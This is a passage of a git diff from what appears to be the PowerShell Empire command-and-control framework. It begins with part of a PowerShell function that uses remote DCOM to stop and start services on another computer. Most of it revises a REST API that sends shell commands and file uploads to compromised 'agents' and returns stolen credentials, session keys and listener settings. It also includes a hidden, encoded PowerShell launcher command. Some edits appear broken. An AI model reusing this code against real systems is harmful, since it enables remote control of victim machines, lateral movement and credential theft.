$Obj.Document.Application.GetSystemInformation("IsOS_DomainMember") + } + + elseif ($Method -Match "ServiceCheck") { + + $Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.Document.Application.IsServiceRunning("$ServiceName") + } + + elseif ($Method -Match "MinimizeAll") { + + $Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.Document.Application.MinimizeAll() + } + + elseif ($Method -Match "ServiceStop") { + + $Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.Document.Application.ServiceStop("$ServiceName") + } + + elseif ($Method -Match "ServiceStart") { + + $Com = [Type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","$ComputerName") + $Obj = [System.Activator]::CreateInstance($Com) + $obj.Document.Application.ServiceStart("$ServiceName") + } + } + + End { + + Write-Output "Completed" + } + + +} \ No newline at end of file diff --git a/empire b/empire index e183ee7..539c978 100755 --- a/empire +++ b/empire @@ -1,7 +1,7 @@ #!/usr/bin/python import sqlite3, argparse, sys, argparse, logging, json, string -import os, re, time, signal, copy, base64 +import os, re, time, signal, copy, base64, pickle from flask import Flask, request, jsonify, make_response, abort, url_for from time import localtime, strftime from OpenSSL import SSL @@ -158,13 +158,18 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password global serverExitCommand # if a username/password were not supplied, use the creds stored in the db + (dbUsername, dbPassword) = execute_db_query(conn, "SELECT api_username, api_password FROM config")[0] if not username: username = dbUsername + else: + execute_db_query(conn, "UPDATE config SET api_username=?", username) if not password: password = dbPassword + else: + execute_db_query(conn, "UPDATE config SET api_password=?", password) class Namespace: @@ -248,7 +253,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password @app.route('/api/map', methods=['GET']) def list_routes(): """ - List all of the current registered routes. + List all of the current registered API routes. """ import urllib output = [] @@ -274,10 +279,11 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON of the current Empire config. """ - configRaw = execute_db_query(conn, 'SELECT * FROM config') + configRaw = execute_db_query(conn, 'SELECT staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token FROM config') + + [staging_key, install_path, ip_whitelist, ip_blacklist, autorun_command, autorun_data, rootuser, api_username, api_password, api_current_token, api_permanent_token] = configRaw[0] + config = [{"api_password":api_password, "api_username":api_username, "autorun_command":autorun_command, "autorun_data":autorun_data, "current_api_token":api_current_token, "install_path":install_path, "ip_blacklist":ip_blacklist, "ip_whitelist":ip_whitelist, "permanent_api_token":api_permanent_token, "staging_key":staging_key, "version":empire.VERSION}] - [staging_key, stage0_uri, stage1_uri, stage2_uri, default_delay, default_jitter, default_profile, default_cert_path, default_port, install_path, server_version, ip_whitelist, ip_blacklist, default_lost_limit, autorun_command, autorun_data, api_username, api_password, current_api_token, permanent_api_token] = configRaw[0] - config = [{"version":empire.VERSION, "staging_key":staging_key, "stage0_uri":stage0_uri, "stage1_uri":stage1_uri, "stage2_uri":stage2_uri, "default_delay":default_delay, "default_jitter":default_jitter, "default_profile":default_profile, "default_cert_path":default_cert_path, "default_port":default_port, "install_path":install_path, "server_version":server_version, "ip_whitelist":ip_whitelist, "ip_blacklist":ip_blacklist, "default_lost_limit":default_lost_limit, "autorun_command":autorun_command, "autorun_data":autorun_data, "api_username":api_username, "api_password":api_password, "current_api_token":current_api_token, "permanent_api_token":permanent_api_token}] return jsonify({'config': config}) @@ -297,14 +303,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password return jsonify({'stagers': stagers}) - @app.route('/api/stagers/', methods=['GET']) + @app.route('/api/stagers/', methods=['GET']) def get_stagers_name(stager_name): """ Returns JSON describing the specified stager_name passed. """ - if stager_name not in main.stagers.stagers: - return make_response(jsonify({'error': 'stager name %s not found' %(stager_name)}), 404) + return make_response(jsonify({'error': 'stager name %s not found, make sure to use [os]/[name] format, ie. windows/dll' %(stager_name)}), 404) stagers = [] for stagerName, stager in main.stagers.stagers.iteritems(): @@ -435,8 +440,8 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password if not main.agents.is_agent_present(sessionID): return make_response(jsonify({'error': 'invalid agent name'}), 400) - modulePSVersion = int(module.info['MinPSVersion']) - agentPSVersion = int(main.agents.get_language_version(sessionID)) + modulePSVersion = int(module.info['MinLanguageVersion']) + agentPSVersion = int(main.agents.get_language_version_db(sessionID)) # check if the agent/module PowerShell versions are compatible if modulePSVersion > agentPSVersion: return make_response(jsonify({'error': "module requires PS version "+str(modulePSVersion)+" but agent running PS version "+str(agentPSVersion)}), 400) @@ -495,7 +500,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agent in main.agents.get_agents(): sessionID = agent[1] - main.agents.add_agent_task(sessionID, taskCommand, moduleData) + main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) msg = "tasked agent %s to run module %s" %(sessionID, module_name) main.agents.save_agent_log(sessionID, msg) @@ -504,7 +509,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password else: # set the agent's tasking in the cache - main.agents.add_agent_task(sessionID, taskCommand, moduleData) + main.agents.add_agent_task_db(sessionID, taskCommand, moduleData) # update the agent log msg = "tasked agent %s to run module %s" %(sessionID, module_name) @@ -643,13 +648,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing all currently registered listeners. """ - activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners') listeners = [] for activeListener in activeListenersRaw: [ID, name, module, listener_type, listener_category, options] = activeListener - # activeListeners[name] = {'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit} - listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':options }) + listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) }) + return jsonify({'listeners' : listeners}) @@ -659,14 +664,14 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing the listener specified by listener_name. """ - activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners WHERE name=?', [listener_name]) listeners = [] - if listener_name != "" and main.listeners.is_listener_valid(listener_name): - for activeListener in activeListenersRaw: - [ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener - if name == listener_name: - listeners.append({'ID':ID, 'name':name, 'host':host, 'port':port, 'cert_path':cert_path, 'staging_key':staging_key, 'default_delay':default_delay, 'default_jitter':default_jitter, 'default_profile':default_profile, 'kill_date':kill_date, 'working_hours':working_hours, 'listener_type':listener_type, 'redirect_target':redirect_target, 'default_lost_limit':default_lost_limit}) + #if listener_name != "" and main.listeners.is_listener_valid(listener_name): + for activeListener in activeListenersRaw: + [ID, name, module, listener_type, listener_category, options] = activeListener + if name == listener_name: + listeners.append({'ID':ID, 'name':name, 'module':module, 'listener_type':listener_type, 'listener_category':listener_category, 'options':pickle.loads(activeListener[5]) }) return jsonify({'listeners' : listeners}) else: @@ -678,53 +683,60 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Kills the listener specified by listener_name. """ - if listener_name.lower() == "all": - activeListenersRaw = execute_db_query(conn, 'SELECT * FROM listeners') + activeListenersRaw = execute_db_query(conn, 'SELECT id, name, module, listener_type, listener_category, options FROM listeners') for activeListener in activeListenersRaw: - [ID, name, host, port, cert_path, staging_key, default_delay, default_jitter, default_profile, kill_date, working_hours, listener_type, redirect_target, default_lost_limit] = activeListener - main.listeners.shutdown_listener(name) - main.listeners.delete_listener(name) + [ID, name, module, listener_type, listener_category, options] = activeListener + main.listeners.kill_listener(name) return jsonify({'success': True}) else: if listener_name != "" and main.listeners.is_listener_valid(listener_name): - main.listeners.shutdown_listener(listener_name) - main.listeners.delete_listener(listener_name) + main.listeners.kill_listener(listener_name) return jsonify({'success': True}) else: return make_response(jsonify({'error': 'listener name %s not found' %(listener_name)}), 404) - @app.route('/api/listeners/options', methods=['GET']) - def get_listener_options(): + @app.route('/api/listeners/options/', methods=['GET']) + def get_listener_options(listener_type): """ - Returns JSON describing the current listener options. + Returns JSON describing listener options for the specified listener type. """ - return jsonify({'listeneroptions' : [main.listeners.options]}) + + if listener_type.lower() not in main.listeners.loadedListeners: + return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404) + + options = main.listeners.loadedListeners[listener_type].options + return jsonify({'listeneroptions' : options}) - @app.route('/api/listeners', methods=['POST']) - def start_listener(): + @app.route('/api/listeners/', methods=['POST']) + def start_listener(listener_type): """ Starts a listener with options supplied in the POST. """ + if listener_type.lower() not in main.listeners.loadedListeners: + return make_response(jsonify({'error':'listener type %s not found' %(listener_type)}), 404) + listenerObject = main.listeners.loadedListeners[listener_type] # set all passed options for option, values in request.json.iteritems(): - returnVal = main.listeners.set_listener_option(option, values) + if option == "Name": + listenerName = values + + returnVal = main.listeners.set_listener_option(listener_type, option, values) if not returnVal: - return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400) + return make_response(jsonify({'error': 'error setting listener value %s with option %s' %(option, values)}), 400) + + main.listeners.start_listener(listener_type, listenerObject) - valid = main.listeners.validate_listener_options() - if not valid: - return make_response(jsonify({'error': 'error validating listener options'}), 400) - - (success, message) = main.listeners.add_listener_from_config() - if success: - return jsonify({'success': success, 'msg' : "listener '%s' successfully started." %(message)}) + #check to see if the listener was created + listenerID = main.listeners.get_listener_id(listenerName) + if listenerID: + return jsonify({'success': 'listener %s successfully started' % listenerName}) else: - return jsonify({'success': success, 'msg' : message}) + return jsonify({'error': 'failed to start listener %s' % listenerName}) @app.route('/api/agents', methods=['GET']) @@ -732,12 +744,15 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing all currently registered agents. """ - activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents') + activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+ + 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+ + 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents') agents = [] for activeAgent in activeAgentsRaw: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent - agents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent + + agents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : agents}) @@ -748,11 +763,13 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password Returns JSON describing all stale agents. """ - agentsRaw = execute_db_query(conn, 'SELECT * FROM agents') + agentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+ + 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+ + 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents') staleAgents = [] for agent in agentsRaw: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent + [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent intervalMax = (delay + delay * jitter)+30 @@ -761,7 +778,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password if agentTime < time.mktime(time.localtime()) - intervalMax: - staleAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + staleAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : staleAgents}) @@ -776,7 +793,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password agentsRaw = execute_db_query(conn, 'SELECT * FROM agents') for agent in agentsRaw: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = agent + [ID, sessionID, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = agent intervalMax = (delay + delay * jitter)+30 @@ -818,12 +835,15 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing the agent specified by agent_name. """ - activeAgentsRaw = execute_db_query(conn, 'SELECT * FROM agents WHERE name=? OR session_id=?', [agent_name, agent_name]) + activeAgentsRaw = execute_db_query(conn, 'SELECT id, session_id, listener, name, language, language_version, delay, jitter, external_ip, '+ + 'internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, '+ + 'lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results FROM agents ' + + 'WHERE name=? OR session_id=?', [agent_name, agent_name]) activeAgents = [] for activeAgent in activeAgentsRaw: - [ID, sessionID, listener, name, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, checkin_time, lastseen_time, parent, children, servers, uris, old_uris, user_agent, headers, functions, kill_date, working_hours, ps_version, lost_limit, taskings, results] = activeAgent - activeAgents.append({"ID":ID, "sessionID":sessionID, "listener":listener, "name":name, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "uris":uris, "old_uris":old_uris, "user_agent":user_agent, "headers":headers, "functions":functions, "kill_date":kill_date, "working_hours":working_hours, "ps_version":ps_version, "lost_limit":lost_limit, "taskings":taskings, "results":results}) + [ID, session_id, listener, name, language, language_version, delay, jitter, external_ip, internal_ip, username, high_integrity, process_name, process_id, hostname, os_details, session_key, nonce, checkin_time, lastseen_time, parent, children, servers, profile, functions, kill_date, working_hours, lost_limit, taskings, results] = activeAgent + activeAgents.append({"ID":ID, "session_id":session_id, "listener":listener, "name":name, "language":language, "language_version":language_version, "delay":delay, "jitter":jitter, "external_ip":external_ip, "internal_ip":internal_ip, "username":username, "high_integrity":high_integrity, "process_name":process_name, "process_id":process_id, "hostname":hostname, "os_details":os_details, "session_key":session_key, "nonce":nonce, "checkin_time":checkin_time, "lastseen_time":lastseen_time, "parent":parent, "children":children, "servers":servers, "profile":profile,"functions":functions, "kill_date":kill_date, "working_hours":working_hours, "lost_limit":lost_limit, "taskings":taskings, "results":results}) return jsonify({'agents' : activeAgents}) @@ -834,30 +854,22 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password Returns JSON describing the agent's results and removes the result field from the backend database. """ - agentTaskResults = [] if agent_name.lower() == "all": # enumerate all target agent sessionIDs - agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + agentNameIDs = execute_db_query(conn, "SELECT name, session_id FROM agents WHERE name like '%' OR session_id like '%'") else: - agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) - + agentNameIDs = execute_db_query(conn, 'SELECT name, session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + for agentNameID in agentNameIDs: - (agentName, agentSessionID) = agentNameID + [agentName, agentSessionID] = agentNameID - agentResults = execute_db_query(conn, 'SELECT results FROM agents WHERE session_id=?', [agentSessionID])[0] + agentResults = execute_db_query(conn, 'SELECT agent, data FROM results WHERE agent=?', [agentSessionID]) - if agentResults and agentResults[0] and agentResults[0] != '': - out = json.loads(agentResults[0]) - if out: - agentResults = "\n".join(out) - else: - agentResults = '' - else: - agentResults = '' - - agentTaskResults.append({"agentname":agentName, "results":agentResults}) + for result in agentResults: + [agent, data] = result + agentTaskResults.append({"agentname":result[0], "results":result[1]}) return jsonify({'results': agentTaskResults}) @@ -869,12 +881,59 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ if agent_name.lower() == "all": # enumerate all target agent sessionIDs - execute_db_query(conn, "UPDATE agents SET results='' WHERE name like '%' OR session_id like '%'") + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") else: - execute_db_query(conn, "UPDATE agents SET results='' WHERE name like ? OR session_id like ?", [agent_name, agent_name]) + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + + execute_db_query(conn, 'UPDATE agents SET results=? WHERE session_id=?', ['', agentSessionID]) return jsonify({'success': True}) + @app.route('/api/agents//upload', methods=['POST']) + def task_agent_upload(agent_name): + """ + Tasks the specified agent to upload a file + """ + + if agent_name.lower() == "all": + # enumerate all target agent sessionIDs + agentNameIDs = execute_db_query(conn, "SELECT name,session_id FROM agents WHERE name like '%' OR session_id like '%'") + else: + agentNameIDs = execute_db_query(conn, 'SELECT name,session_id FROM agents WHERE name like ? OR session_id like ?', [agent_name, agent_name]) + + if not agentNameIDs or len(agentNameIDs) == 0: + return make_response(jsonify({'error': 'agent name %s not found' %(agent_name)}), 404) + + if not request.json['data']: + return make_response(jsonify({'error':'file data not provided'}), 404) + + if not request.json['filename']: + return make_response(jsonify({'error':'file name not provided'}), 404) + + fileData = request.json['data'] + fileName = request.json['filename'] + + rawBytes = base64.b64decode(fileData) + + if len(rawBytes) > 1048576: + return make_response(jsonify({'error':'file size too large'}), 404) + + for agentNameID in agentNameIDs: + (agentName, agentSessionID) = agentNameID + + msg = "Tasked agent to upload %s : %s" % (fileName, hashlib.md5(rawBytes).hexdigest()) + main.agents.save_agent_log(agentSessionID, msg) + data = fileName + "|" + fileData + main.agents.add_agent_task_db(agentSessionID, 'TASK_UPLOAD', data) + + return jsonify({'success': True}) @app.route('/api/agents//shell', methods=['POST']) def task_agent_shell(agent_name): @@ -897,20 +956,10 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agentNameID in agentNameIDs: (agentName, agentSessionID) = agentNameID - # get existing agent taskings for each agent - agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0] - if agentTasks and agentTasks[0]: - agentTasks = json.loads(agentTasks[0]) - else: - agentTasks = [] - - # append our new json-ified task and update the backend - agentTasks.append(['TASK_SHELL', command]) - - execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID]) - - timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) - execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "task", "TASK_SHELL - " + command[0:50], timeStamp)) + # add task command to agent taskings + msg = "tasked agent %s to run command %s" %(agentSessionID, command) + main.agents.save_agent_log(agentSessionID, msg) + main.agents.add_agent_task_db(agentSessionID, "TASK_SHELL", command) return jsonify({'success': True}) @@ -960,10 +1009,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agentNameID in agentNameIDs: (agentName, agentSessionID) = agentNameID - execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", ['', agentSessionID]) - - timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) - execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "clear", '', timeStamp)) + main.agents.clear_agent_tasks_db(agentSessionID) return jsonify({'success': True}) @@ -985,20 +1031,10 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password for agentNameID in agentNameIDs: (agentName, agentSessionID) = agentNameID - # get existing agent taskings for each agent - agentTasks = execute_db_query(conn, 'SELECT taskings FROM agents WHERE session_id like ?', [agentSessionID])[0] - if agentTasks and agentTasks[0]: - agentTasks = json.loads(agentTasks[0]) - else: - agentTasks = [] - - # append our new json-ified task and update the backend - agentTasks.append(['TASK_EXIT', '']) - - execute_db_query(conn, "UPDATE agents SET taskings=? WHERE session_id=?", [json.dumps(agentTasks), agentSessionID]) - - timeStamp = strftime("%Y-%m-%d %H:%M:%S", localtime()) - execute_db_query(conn, "INSERT INTO reporting (name,event_type,message,time_stamp) VALUES (?,?,?,?)", (agentName, "task", "TASK_EXIT", timeStamp)) + # task the agent to exit + msg = "tasked agent %s to exit" %(agentSessionID) + main.agents.save_agent_log(sessionID, msg) + main.agents.add_agent_task_db(agentSessionID, 'TASK_EXIT') return jsonify({'success': True}) @@ -1008,12 +1044,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing the credentials stored in the backend database. """ - credsRaw = execute_db_query(conn, 'SELECT * FROM credentials') + credsRaw = execute_db_query(conn, 'SELECT ID, credtype, domain, username, password, host, os, sid, notes FROM credentials') creds = [] for credRaw in credsRaw: - [ID, credtype, domain, username, password, host, sid, notes] = credRaw - creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "sid":sid, "notes":notes}) + [ID, credtype, domain, username, password, host, os, sid, notes] = credRaw + creds.append({"ID":ID, "credtype":credtype, "domain":domain, "username":username, "password":password, "host":host, "os":os, "sid":sid, "notes":notes}) return jsonify({'creds' : creds}) @@ -1023,12 +1059,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password """ Returns JSON describing the reporting events from the backend database. """ - reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting') + reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting') reportingEvents = [] for reportingEvent in reportingRaw: - [ID, name, eventType, message, timestamp] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + [ID, name, event_type, message, time_stamp, taskID] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1047,12 +1083,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password else: return jsonify({'reporting' : ''}) - reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE name=?', [sessionID]) + reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE name=?', [sessionID]) reportingEvents = [] for reportingEvent in reportingRaw: - [ID, name, eventType, message, timestamp] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + [ID, name, event_type, message, time_stamp, taskID] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1063,12 +1099,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password Returns JSON describing the reporting events from the backend database for the event type specified by event_type. """ - reportingRaw = execute_db_query(conn, 'SELECT * FROM reporting WHERE event_type=?', [event_type]) + reportingRaw = execute_db_query(conn, 'SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE event_type=?', [event_type]) reportingEvents = [] for reportingEvent in reportingRaw: - [ID, name, eventType, message, timestamp] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + [ID, name, event_type, message, time_stamp, taskID] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1079,12 +1115,12 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password Returns JSON describing the reporting events from the backend database for the any messages with *msg* specified by msg. """ - reportingRaw = execute_db_query(conn, "SELECT * FROM reporting WHERE message like ?", ['%'+msg+'%']) + reportingRaw = execute_db_query(conn, "SELECT ID, name, event_type, message, time_stamp, taskID FROM reporting WHERE message like ?", ['%'+msg+'%']) reportingEvents = [] for reportingEvent in reportingRaw: - [ID, name, eventType, message, timestamp] = reportingEvent - reportingEvents.append({"ID":ID, "agentname":name, "event_type":eventType, "message":message, "timestamp":timestamp}) + [ID, name, event_type, message, time_stamp, taskID] = reportingEvent + reportingEvents.append({"ID":ID, "agentname":name, "event_type":event_type, "message":message, "timestamp":time_stamp, "taskID":taskID}) return jsonify({'reporting' : reportingEvents}) @@ -1105,7 +1141,7 @@ def start_restful_api(startEmpire=False, suppress=False, username=None, password # try to prevent some basic bruting time.sleep(2) - if suppliedUsername == username and suppliedPassword == password: + if suppliedUsername == username[0] and suppliedPassword == password[0]: return jsonify({'token': apiToken}) else: return make_response('', 401) diff --git a/lib/common/empire.py b/lib/common/empire.py index 812ff12..28ca49c 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ menu loops. """ # make version for Empire -VERSION = "2.0.0-beta" +VERSION = "2.0" from pydispatch import dispatcher diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 3e51562..b2a163c 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -49,6 +49,7 @@ import sqlite3 import iptools import threading import pickle +import netifaces from time import localtime, strftime from Crypto.Random import random import subprocess @@ -187,14 +188,14 @@ def enc_powershell(raw): return base64.b64encode("".join([char + "\x00" for char in unicode(raw)])) -def powershell_launcher(raw): +def powershell_launcher(raw, modifiable_launcher): """ Build a one line PowerShell launcher with an -enc command. """ # encode the data into a form usable by -enc encCMD = enc_powershell(raw) - return "powershell.exe -NoP -sta -NonI -W Hidden -Enc " + encCMD + return modifiable_launcher + " " + encCMD def parse_powershell_script(data): @@ -598,6 +599,7 @@ def lhost(): Return the local IP. """ + if os.name != 'nt': import fcntl import struct @@ -622,15 +624,16 @@ def lhost(): return ip if (ip == '' or ip.startswith('127.')) and os.name != 'nt': - interfaces = ['eth0','eth1','eth2','wlan0','wlan1','wifi0','ath0','ath1','ppp0'] + interfaces = netifaces.interfaces() for ifname in interfaces: - try: - ip = get_interface_ip(ifname) - if ip != "": - break - except: - print 'Unexpected error:', sys.exc_info()[0] - pass + if "lo" not in ifname: + try: + ip = get_interface_ip(ifname) + if ip != "": + break + except: + print 'Unexpected error:', sys.exc_info()[0] + pass 